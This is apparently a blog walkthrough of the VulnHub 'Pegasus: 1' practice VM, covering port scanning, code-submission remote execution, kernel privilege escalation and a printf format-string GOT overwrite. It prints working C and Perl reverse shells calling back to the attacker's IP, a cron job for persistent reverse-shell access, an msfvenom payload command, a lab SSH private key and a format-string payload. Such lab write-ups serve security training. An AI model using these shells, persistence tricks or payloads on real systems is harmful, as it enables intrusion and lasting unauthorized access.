Pegasus: 1
06 May 2019 | WalkthroughsVulnHub URL: https://www.vulnhub.com/entry/pegasus-1,109/
Hostname: pegasus
IP Address: 10.183.0.210
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.210.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/pegasus# nmap -Pn -sT -sV -sC -A -oA pegasus -p 1-65535 10.183.0.210
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-06 15:45 EDT
Nmap scan report for pegasus.homenet.dom (10.183.0.210)
Host is up (0.0011s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh
OpenSSH 5.9p1
Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 77:89:5b:52:ed:a5:58:6e:8e:09:f3:9e:f1:b0:d9:98 (DSA)
| 2048 d6:62:f5:12:31:36:ed:08:2c:1a:5e:9f:3c:aa:1f:d2 (RSA)
|_ 256 c5:f0:be:e5:c0:9c:28:6e:23:5c:48:38:8b:4a:c4:43 (ECDSA)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 35622/udp status
|_ 100024 1 58473/tcp status
8088/tcp open http nginx 1.1.19
|_http-server-header: nginx/1.1.19
|_http-title: Pegasus Technologies - Under Construction
58473/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:88:F8:40 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.14 ms pegasus.homenet.dom (10.183.0.210)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.48 seconds
Gaining Access
We don't typically see RPC services open, so I'll take a brief look at what's going on there first.
root@kali:~/Walkthroughs/pegasus# rpcinfo -p 10.183.0.210
program vers proto port service
100000 4 tcp 111 portmapper
100000 3 tcp 111 portmapper
100000 2 tcp 111 portmapper
100000 4 udp 111 portmapper
100000 3 udp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 35622 status
100024 1 tcp 58473 status
Checking the available services, we only really have the 'status' (rpc.statd) service available. There are some known remote code issues with this service. Checking the exploit database for exploit code, we actually have three options.
Conectiva 4.x/5.x / Debian 2.x / RedHat 6.x / S.u.S.E 6.x/7.0 / Trustix 1.x - rpc.statd Remote Format String | exploits/linux/remote/20075.c
Conectiva 4.x/5.x / Debian 2.x / RedHat 6.x / S.u.S.E 6.x/7.0 / Trustix 1.x - rpc.statd Remote Format String | exploits/linux/remote/20076.c
Conectiva 4.x/5.x / Debian 2.x / RedHat 6.x / S.u.S.E 6.x/7.0 / Trustix 1.x - rpc.statd Remote Format String | exploits/linux/remote/20077.c
Before just throwing exploit code at the service, I'll see if I can get in another way, verify the version of nfs-utils running and then maybe use this for privilege escalation.
The version of nginx in use (nginx/1.1.19) doesn't have any known vulnerabilities.
We'll start some of our typical recon steps (run nikto, run dirb/wfuzz, check robots.txt, check HTTP methods, etc) on the service.
root@kali:~/Walkthroughs/pegasus# wfuzz -z file,/usr/share/dirb/wordlists/big.txt -z file,/usr/share/wordlists/dirb/extensions_common.txt -t 30 --hh 16,189 http://10.183.0.210:8088/FUZZFUZ2Z
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer *
********************************************************
Target: http://10.183.0.210:8088/FUZZFUZ2Z
Total requests: 593601
==================================================================
ID Response Lines Word Chars Payload
==================================================================
181337: C=403 7 L 10 W 169 Ch "doc - /"
503750: C=200 0 L 4 W 19 Ch "submit - .php"
Total time: 768.9646
Processed Requests: 593601
Filtered Requests: 593599
Requests/sec.: 771.9483
Browsing directly to the submit.php page, we receive a "No data to process." message.
Manually checking supported HTTP methods, I only got back a unique response for the PUT method (standard error).
root@kali:~/Walkthroughs/pegasus# curl -X PUT --url http://10.183.0.210:8088/submit.php
<html>
<head><title>411 Length Required</title></head>
<body bgcolor="white">
<center><h1>411 Length Required</h1></center>
<hr><center>nginx/1.1.19</center>
</body>
</html>
I decided to try to use wfuzz to see if I could find a valid "parameter" (or get any kind of response besides "No data to process.".
root@kali:~/Walkthroughs/pegasus# wfuzz -z file,/usr/share/dirb/wordlists/big.txt -t 30 --hh 19 -d "FUZZ=test" http://10.183.0.210:8088/submit.php
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer *
********************************************************
Target: http://10.183.0.210:8088/submit.php
Total requests: 20469
==================================================================
ID Response Lines Word Chars Payload
==================================================================
004830: C=200 0 L 3 W 16 Ch "code"
Total time: 30.52888
Processed Requests: 20469
Filtered Requests: 20468
Requests/sec.: 670.4797
Nice! Apparently "code" is a valid parameter I can submit. Let's see what the response is.
root@kali:~/Walkthroughs/pegasus# curl -X POST -d 'code=test' --url http://10.183.0.210:8088/submit.php
Sent for review!
Well, "Sent for review!" isn't much better than "No data to process.", but at least we are getting somewhere. Based on the response, I'm thinking "code" is like source code and not some kind of numeric passcode. I'll try to send it some PHP code and see what happens.
root@kali:~/Walkthroughs/pegasus# curl -X POST -d 'code=echo system($_GET["cmd"]);' --url http://10.183.0.210:8088/submit.php
Sorry, due to security precautions, Mike won't review any code containing system() function call.
Interesting.
I wondered if there was a page where the code was reviewed, so I started manually checking some PHP file names. I tried review.php, got nothing. I tried codereview.php and got this...
Checking the source, and sure enough, this is the form that submits to submit.php. It'd be nice to know where these code submissions are getting saved for later review. It would also be nice to know what kind of "code" we are talking about. The assumption is PHP code, but really, it could be anything.
I tried submitting a base64 encoded PHP reverse shell (created with msfvenom), but got nothing.
root@kali:~/Walkthroughs/pegasus# msfvenom -p php/reverse_php LHOST=10.183.0.222 LPORT=5432 -e php/base64 -f raw > rev64.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 4057 (iteration=0)
php/base64 chosen with final size 4057
Payload size: 4057 bytes
I then did some Googling for C code to create a reverse shell, and found the following...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
int sockfd;
int lportno = 5432;
struct sockaddr_in serv_addr;
char *const params[] = {"/bin/sh",NULL};
char *const environ[] = {NULL};
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr("10.183.0.222");
serv_addr.sin_port = htons(lportno);
connect(sockfd, (struct sockaddr *) &serv_addr, 16);
dup2(sockfd,0);
dup2(0,1);
dup2(0,2);
execve("/bin/sh",params,environ);
}
I fired up my listener in Metasploit...
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.183.0.222:5432
Then submitted the C code...
msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.183.0.222:5432 -> 10.183.0.210:46819) at 2019-05-06 18:34:33 -0400
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
pwd
/home/mike
id
uid=1001(mike) gid=1001(mike) groups=1001(mike)
Wow! Mike's code review is instantaneous... and we have a shell. Any shell connected via a web request is usually pretty unstable, so I like to immediately create a second shell after connecting. I already set up a listener on TCP port 5433 and I'll use perl to connect to it.
perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(ST
DIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' &
[*] Command shell session 2 opened (10.183.0.222:5433 -> 10.183.0.210:42931) at 2019-05-06 18:36:03 -0400
Digging around in Mike's home folder...
mike@pegasus:/home/mike$ ls -laF
total 48
drwxr-x--- 5 mike mike 4096 May 7 08:36 ./
drwxr-xr-x 5 root root 4096 Nov 18 2014 ../
-rw------- 1 mike mike 0 Dec 16 2014 .bash_history
-rw-r--r-- 1 mike mike 220 Nov 18 2014 .bash_logout
-rw-r--r-- 1 mike mike 3501 Nov 19 2014 .bashrc
drwx------ 2 mike mike 4096 Nov 18 2014 .cache/
-rw-r--r-- 1 mike mike 675 Nov 18 2014 .profile
drwx------ 2 mike mike 4096 Nov 24 2014 .ssh/
-rw------- 1 mike mike 620 Dec 16 2014 .viminfo
drwx------ 2 mike mike 4096 Nov 18 2014 Mail/
-rwxr-xr-x 1 mike mike 845 Nov 18 2014 check_code.sh*
-rwsr-xr-x 1 john john 6606 Nov 28 2014 my_first*
We can see the shell script that compiles and runs the uploaded code.
mike@pegasus:/home/mike$ cat check_code.sh
#!/bin/sh
#
# I am a 'human' reviewing submitted source code :)
#
SOURCE_CODE="/opt/code_review/code.c"
# Kill whatever is running after 120 seconds
TIMEOUT=120
while true; do
echo "# Checking for code.c..."
if [ -f $SOURCE_CODE ]; then
echo " # Compile..."
/usr/bin/gcc -o /home/mike/code $SOURCE_CODE
/bin/chmod 755 /home/mike/code
echo " # Run"
(/home/mike/code) & PID=$!
# Let the code run for $TIMEOUT, then kill it if still executing
(/bin/sleep $TIMEOUT && kill -9 $PID; echo " # Killed ./code") 2>/dev/null & WATCHER=$!
# Kill the watched (code stopped executing before $TIMEOUT)
wait $PID 2>/dev/null && kill -9 $WATCHER; echo " # Killed watcher"
echo " # Cleanup..."
/bin/rm -f /home/mike/code $SOURCE_CODE
fi
/bin/sleep 1
done
Looks like the uploaded code had a 2 minute timeout, so I'm glad we already spawned a second shell.
We also found a SSH private key in Mike's .ssh folder...
mike@pegasus:/home/mike/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAu9uf1HNMP46/biQZyeSp3HiB0kAeJxfqEhM0OzffJqysmJw1
5UltElxmv3F0j1eARFODzTjP00yTzrnRKXnVl2fz8ir0h5fenQRFRdQtBnhyCpJO
2XFQvj0l/fdFe8QBeatpDaxarAiojI+C+k2K2CZLhxh7MXKycI3lQAY47ptrLS6C
oLdpfHMbo7OHm/gW5mclNoawgakCd/hPHFFDQFLM3gYtBxTud1QEPOH6opgohN73
gfCf2s3k7rxv79lPBcDWmyg+7Z0LK0+LiPO20P9k2H+g8aQCkoTvJ7hxECCVZ29A
PBfX8xgLNh0UboSS9Z31YCFNK71AoxLadHrewQIDAQABAoIBAQCpdU5SKMeJNc19
H1ecBYcseBAzht8sSKg/Mc+V86p6ip0O9Sqw8HFRdMTCwSdx/m6YM/Xa8/qVEqjq
fDgvf9WqxH0L4K/AeMC5RxbuDJ2pDpFg8+XoxA0f7q0M0Td+k6r5BCS5ztXkBdN1
KCfwfm5W2QSckvrd+ib43ScFgBdvNHvYGR4rIyzwNizx2ewg9FjiSNHGiItSYSpX
TxRgLcrnjHQWBM1pk+mv57+OSPj5VZW/0ZgEoPksHtRJzsFX3STyI/tmL6gk2Cj9
BJ6Ld+8jyUtnsNSl+ZPeDy7FlGWIOM8Jw1vUrDQ3lwBOxGmrrm/jAkKPU6iqA9DR
olRoLVC5AoGBAOAAQvwVrgv9w80uXvoifGO/SRLg4Gv7ZWJ+5fowDmiIV0QYUwVA
AA0mekUq0Fiy9pHCIpJZwF6nebqEnZlN2TV5C4uIdeOvaZMunl0woIMGANpthKie
sdKADX0bw0k9lbCKf8iGG5j1dK/J4roaBBqjjJu7GyYQWRcEyKaQ06MfAoGBANax
mwhJgRth1NP6t8BygmLz1s2LvhOP1QINfLzfBK7+csaOJYfDDqo8IwJUOapPQD9K
bwn6DIfHr4QyWZz8IS4R3secxM+SEcVWv0hPKyuRCQ7nd6odaeMh7hEWZbaQgyeS
0N8O525At9t4rcewCSVABLLnLE/FJ7dgzY760CIfAoGAGlXNikeeO8is8X2HKw9M
4olFtRN9LxTSWZ8juKNXvlBxOg9GC3L3zpP8gg9DiXoY5RAW8m/c3wP/mr8mrDRr
2g6OHeyAN7GSzvwHIFusM1tMVGHV2+E0dNQbQd82uXClHala1p91tSj+fABXSJvw
aZVa3aBE09fOMZedY3/Zce8CgYEAmMg/WYBlfkT6nfe3uB5FJ4H7BL9DfsxGe3V5
pTbYMGgm6aHSl3B6CS9OgqPJfad0QxYHOwRU0nOKNftWxl6uhgh1j3vCmyyJtPNs
oFqmkBRga9jQ0aCo79f/gO19aJQioZDbT0Fd9JndvTN+B7MAbx/FuELGx+W3w8oB
vpRCdWUCgYA8Z6YK/REdftjzA3C91RObg2NaP0CbiPSmlrdeUxp2urXt8BSIXh1+
4CIXCFKvmqHrjitXuvjNjO+pO3Z24NuiAYnkNho+0gc8+tDnkkPBWNVJUvoFIuK4
uQcPzxVlmfkL6fh8PI1bJLDFoQZTLs6ltt8ym4BgPdG2MphR9M2z6Q==
-----END RSA PRIVATE KEY-----
However, there isn't an authorized_keys file in the .ssh folder, so maybe this private key is for a different user. Let's see what other accounts are available.
mike@pegasus:/home/mike$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
landscape:x:104:109::/var/lib/landscape:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
john:x:1000:1000:John Wall,,,:/home/john:/bin/bash
statd:x:108:65534::/var/lib/nfs:/bin/false
mike:x:1001:1001:Mike Ross,,,:/home/mike:/bin/bash
git:x:1002:1002:,,,:/home/git:/usr/bin/git-shell
Trying out the SSH private key on the john account...
root@kali:~/Walkthroughs/pegasus# ssh -i mike.key john@10.183.0.210
john@10.183.0.210's password:
Trying out the SSH private key on the git account...
root@kali:~/Walkthroughs/pegasus# ssh -i mike.key git@10.183.0.210
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-39-generic i686)
* Documentation: https://help.ubuntu.com/
System information as of Tue May 7 08:49:54 AEST 2019
System load: 0.0 Processes: 89
Usage of /: 8.5% of 18.32GB Users logged in: 0
Memory usage: 20% IP address for eth0: 10.183.0.210
Swap usage: 0%
Graph this data and manage this system at:
https://landscape.canonical.com/
150 packages can be updated.
124 updates are security updates.
Your Hardware Enablement Stack (HWE) is supported until April 2017.
Last login: Tue Nov 18 12:54:26 2014 from localhost
fatal: Interactive git shell is not enabled.
hint: ~/git-shell-commands should exist and have read and execute access.
Connection to 10.183.0.210 closed.
The SSH private key seems to work with the git account. The login is successful, but the user's shell (/usr/bin/git-shell) isn't interactive. Based on the "hint" the user might not have read and execute permissions on the git-shell-commands folder (or might not have one at all). We'll move on for now...
Another file of interest in Mike's folder is a SUID file (for user john) named 'my_first'.
mike@pegasus:/home/mike$ file my_first
my_first: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0xa7154888c18de2c173560b5a43d08856a538b357, not stripped
When we run the program, we get a menu of options to select from...
mike@pegasus:~$ ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit
Selection:
Testing the options, 1 takes two numbers and adds them, 2 takes a string and echoes it back, 3 is "not yet implemented" and 4 exits. Running ltrace on the program, we can see input is obtained with 'fgets' and output is written with 'printf'. I know printf can be abused to run arbitrary code, but I'm not a C expert, so I'll see if there is some lower hanging fruit before trying to hack this (see Additional Notes for full details on hacking printf).
Maintaining Access
Since SSH is enabled on the victim and mike has a home directory and default shell...
mike@pegasus:/home/mike$ grep `whoami` /etc/passwd
mike:x:1001:1001:Mike Ross,,,:/home/mike:/bin/bash
... I created an authorized_keys file and copied my SSH public key to the file. With this, I was able to SSH to the victim.
root@kali:~/Walkthroughs/pegasus# ssh -i pegasus mike@10.183.0.210
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-39-generic i686)
* Documentation: https://help.ubuntu.com/
System information as of Wed May 8 00:17:15 AEST 2019
System load: 0.0 Processes: 89
Usage of /: 8.5% of 18.32GB Users logged in: 0
Memory usage: 17% IP address for eth0: 10.183.0.210
Swap usage: 0%
Graph this data and manage this system at:
https://landscape.canonical.com/
150 packages can be updated.
124 updates are security updates.
Your Hardware Enablement Stack (HWE) is supported until April 2017.
You have mail.
Last login: Tue Dec 16 19:27:53 2014 from 172.16.246.129
mike@pegasus:~$
After using SSH to connect to the victim, I installed a crontab for the user to continually try to connect back to my attacking machine on port 5433 (using a Perl reverse shell). Now, if I get discovered and shut out of SSH I can get back in with the reverse shell.
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/root/bin
MAILTO=root
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * command to be executed
#min hour day mon dow command
*/5 * * * * perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Privilege Escalation
Checking the running kernel and OS...
mike@pegasus:~$ uname -a
Linux pegasus 3.13.0-39-generic #66~precise1-Ubuntu SMP Wed Oct 29 09:59:20 UTC 2014 i686 i686 i386 GNU/Linux
mike@pegasus:~$ cat /etc/os-release
NAME="Ubuntu"
VERSION="12.04.5 LTS, Precise Pangolin"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu precise (12.04.5 LTS)"
VERSION_ID="12.04"
We have a known privilege escalation vulnerability for our OS/kernel combo...
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation | exploits/linux/local/37292.c
I'll transfer the C file to the victim using netcat and see if we can compile and run it...
mike@pegasus:/tmp$ nc -vl 10.183.0.210 4321 > 37292.c
Connection from 10.183.0.222 port 4321 [tcp/*] accepted
mike@pegasus:/tmp$ gcc -o pwn 37292.c
mike@pegasus:/tmp$ ./pwn
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),1001(mike)
That was easy. 😄
Let's get the flag.
# cd /root
# cat flag
,
|`\
/'_/_
,'_/\_/\_ ,
,'_/\'_\_,/_ ,'|
,'_/\_'_ \_ \_/ _,-'_/
,'_/'\_'_ \_ \'_,\ _,-'_,-/ \, Pegasus is one of the best
,' /_\ _'_ \_ \'_,/ __,-'<_,' _,\_,/ known creatures in Greek
( (' )\/(_ \_ \'_,\ __--' _,-_/_,-',_/ _\ mythology. He is a winged
\_`\> 6` 7 \'_,/ ,-' _,-,'\,_'_ \,_/'_,\ stallion usually depicted
\/- _/ 7 '/ _,' _/'\_ \,_'_ \_ \'_,/ as pure white in color.
\_'/> 7'_/' _/' \_ '\,_'_ \_ \'_,\ Symbol of wisdom and fame.
>/ _ ,V ,< \__ '\,_'_ \_ \'_,/
/'_ ( )_)\/-,',__ '\,_'_,\_,\'_\ Fun fact: Pegasus was also
( ) \_ \|_ `\_ \_,/'\,_'_,/' a video game system sold in
\\_ \_\_) `\_ Poland, Serbia and Bosnia.
\_) > `\_ It was a hardware clone of
/ `, |`\_ the Nintendo Famicom.
/ \ / \ `\
/ __/| / / `\
(` ( (` (_ \ /
/ ,/ | / / \
/ ,/ | / \ `\_
_/_/ |/ /__/,_/
/_( /_(
CONGRATULATIONS! You made it :)
Hope you enjoyed the challenge as much as I enjoyed creating it and I hope you
learnt a thing or two while doing it! :)
Massive thanks and a big shoutout to @iMulitia for beta-breaking my VM and
providing first review.
Feel free to hit me up on Twitter @TheKnapsy or at #vulnhub channel on freenode
and leave some feedback, I would love to hear from you!
Also, make sure to follow @VulnHub on Twitter and keep checking vulnhub.com for
more awesome boot2root VMs!
Pivoting
N/A
Clean Up
*** REMOVE /home/mike/.ssh/authorized_keys ***
*** REMOVE crontab for mike ***
*** REMOVE 37292.c and pwn from /tmp ***
Additional Info
printf Format String Attack
Searching for vulnerabilities in the printf function of the 'my_first' program we found in /home/mike, I came across this write up by OWASP.
I was able to confirm the vulnerability using the following combination of python and pipe.
mike@pegasus:~$ python -c 'print "1\n1\n%%\n1\n1\n%p\n1\n1\n%d\n1\n1\n%c\n1\n1\n%u\n1\n1\n%x\n1\n1\n%s\n1\n1\n%n\n"' | ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit
Selection:
Enter first number: Enter second number: Error details: %
Selection:
Enter first number: Enter second number: Error details: 0xbffc36dc
Selection:
Enter first number: Enter second number: Error details: -1073989924
Selection:
Enter first number: Enter second number: Error details: �
Selection:
Enter first number: Enter second number: Error details: 3220977372
Selection:
Enter first number: Enter second number: Error details: bffc36dc
Selection:
Enter first number: Enter second number: Error details: �6�%s
Selection:
Enter first number: Enter second number: Error details:
Selection:
Error: Incorrect selection!
Selection:
Bye!
Using example two of the OWASP write up page, we were able to crash the application by sending a bunch of %s format strings.
mike@pegasus:~$ ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit
Selection: 1
Enter first number: 1
Enter second number: %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
Error details: `�¿%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
Segmentation fault (core dumped)
Now that we know we can crash the program, we know we might can manipulate its execution to run arbitrary commands/shell code for us. Time to transfer the binary to our attacking machine and do some debugging/exploit generation.
Running (and crashing) our program in gdb (with the pwndbg plugin loaded... see below for details), we get the following...
root@kali:~/Walkthroughs/pegasus# gdb -q ./my_first
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./my_first...(no debugging symbols found)...done.
pwndbg> run
Starting program: /root/Walkthroughs/pegasus/my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit
Selection: 1
Enter first number: 1
Enter second number: %s%s
Error details: ����%s%s
Program received signal SIGSEGV, Segmentation fault.
__strlen_ia32 () at ../sysdeps/i386/i586/strlen.S:51
51 ../sysdeps/i386/i586/strlen.S: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────
EAX 0xa
EBX 0xffffcf5c ◂— 0xb83eda00
ECX 0xf7e11162 (vfprintf+2514) ◂— cmp byte ptr [ebp - 0x488], 0
EDX 0x2
EDI 0xf7fa0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d9d6c
ESI 0xf7fa0d80 (_IO_2_1_stdout_) ◂— 0xfbad2a84
EBP 0xffffcf78 —▸ 0xffffd038 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffca5c —▸ 0xf7e12787 (vfprintf+8183) ◂— add esp, 0x10
EIP 0xf7e6059f (__strlen_ia32+15) ◂— cmp byte ptr [eax], dh
──────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────
► 0xf7e6059f <__strlen_ia32+15> cmp byte ptr [eax], dh
0xf7e605a1 <__strlen_ia32+17> je __strlen_ia32+182 <0xf7e60646>
↓
0xf7e60646 <__strlen_ia32+182> sub eax, dword ptr [esp + 4]
0xf7e6064a <__strlen_ia32+186> ret
0xf7e6064b nop
0xf7e6064d nop
0xf7e6064f nop
0xf7e60650 <__stpcpy_ia32> push edi
0xf7e60651 <__stpcpy_ia32+1> push esi
0xf7e60652 <__stpcpy_ia32+2> push ebx
0xf7e60653 <__stpcpy_ia32+3> mov edi, dword ptr [esp + 0x10]
──────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffca5c —▸ 0xf7e12787 (vfprintf+8183) ◂— add esp, 0x10
01:0004│ 0xffffca60 ◂— 0xa /* '\n' */
02:0008│ 0xffffca64 —▸ 0xffffcfc2 ◂— 0xa7325 /* '%s\n' */
03:000c│ 0xffffca68 ◂— 0x0
... ↓
────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────
► f 0 f7e6059f __strlen_ia32+15
f 1 f7e12787 vfprintf+8183
f 2 f7e18c86 printf+38
f 3 80486df calculator+196
f 4 80485dc main+208
f 5 f7de0b41 __libc_start_main+241
Program received signal SIGSEGV (fault address 0xa)
Checking the backtrace, we can see that the call to printf ultimately led to the crash. After some research and reading through these articles:
I decided to try a GOT (Global Offset Table) overwrite attack.
First, we need to find the address 'printf@plt' is jumping to.
pwndbg> disass 'printf@plt'
Dump of assembler code for function printf@plt:
0x080483b0 <+0>: jmp DWORD PTR ds:0x8049bfc
0x080483b6 <+6>: push 0x0
0x080483bb <+11>: jmp 0x80483a0
End of assembler dump.
If we check the memory location for that pointer, then disassemble that...
pwndbg> x *0x8049bfc
0xf7e18c60: 0x0e5044e8
pwndbg> disass 0xf7e18c60
Dump of assembler code for function __printf:
0xf7e18c60 <+0>: call 0xf7efdca9 <__x86.get_pc_thunk.ax>
0xf7e18c65 <+5>: add eax,0x18739b
0xf7e18c6a <+10>: sub esp,0xc
0xf7e18c6d <+13>: lea edx,[esp+0x14]
0xf7e18c71 <+17>: sub esp,0x4
0xf7e18c74 <+20>: push edx
0xf7e18c75 <+21>: push DWORD PTR [esp+0x18]
0xf7e18c79 <+25>: mov eax,DWORD PTR [eax-0x78]
0xf7e18c7f <+31>: push DWORD PTR [eax]
0xf7e18c81 <+33>: call 0xf7e10790 <_IO_vfprintf_internal>
0xf7e18c86 <+38>: add esp,0x1c
0xf7e18c89 <+41>: ret
End of assembler dump.
Now we need to do some tests to see how to crawl back the stack to the address we want to rewrite. We'll do this by giving some 'A's and then popping pointers off the stack until we are back to our 'A's.
pwndbg> run
Starting program: /root/Walkthroughs/pegasus/my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit
Selection: 1
Enter first number: 0
Enter second number: AAAA %p %p %p %p %p %p %p %p %p %p
Error details: AAAA 0xffffcfbc 0xa (nil) 0xf7fa05c0 0x1 (nil) 0xffffcfc0 0x41414141 0x20702520 0x25207025
Using this technique, we can see we had to pop 7 references off the stack to get back to our 'A's. So, to go directly to our 'A's, we could do this.
Enter first number: 0
Enter second number: AAAA%8$p
Error details: AAAA0x41414141
Now, combining this with the %n format operator...
%n = The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.
To explain, if we were to pass the string AAAA%8$n, we would write the value 4 (the "number of characters") to the address 0x41414141 (that address comes from us looking down the stack 8 spots to our AAAA).
For our exploit, we want to change the 'printf@plt' pointer to point to the system command (0xf7e04b40)...
pwndbg> print system
$1 = {int (const char *)} 0xf7e04b40 <__libc_system>
... instead of the printf command (0xf7e18c60).
To do that, we need to write 0xf7e04b40 to the address 0x8049bfc. Using a combination of our printf exploit techniques, here's what we want to send...
\xfc\x9b\x04\x08\xfe\x9b\x04\x08%19256x%8$hn%44192x%9$hn
This breaks down to...
\xfc\x9b\x04\x08 (location for first two bytes/higher bytes, 0x8049bfc, reversed for little endian)
\xfe\x9b\x04\x08 (location for second two bytes/lower two bytes, 0x8049bfe, reversed for little endian)
%19256x (generate our decimal value for %n, 0x4b40 = 19264 - 8)
%8$hn (write higher two bytes to first location, 8 moves down the stack)
%44192x (generate our decimal value for %n, 0xf7e0 = 63456 - 19264)
%9$hn (write lower two bytes to second location, 9 moves down the stack)
So, sending our "printf -> system" rewrite results in the following.
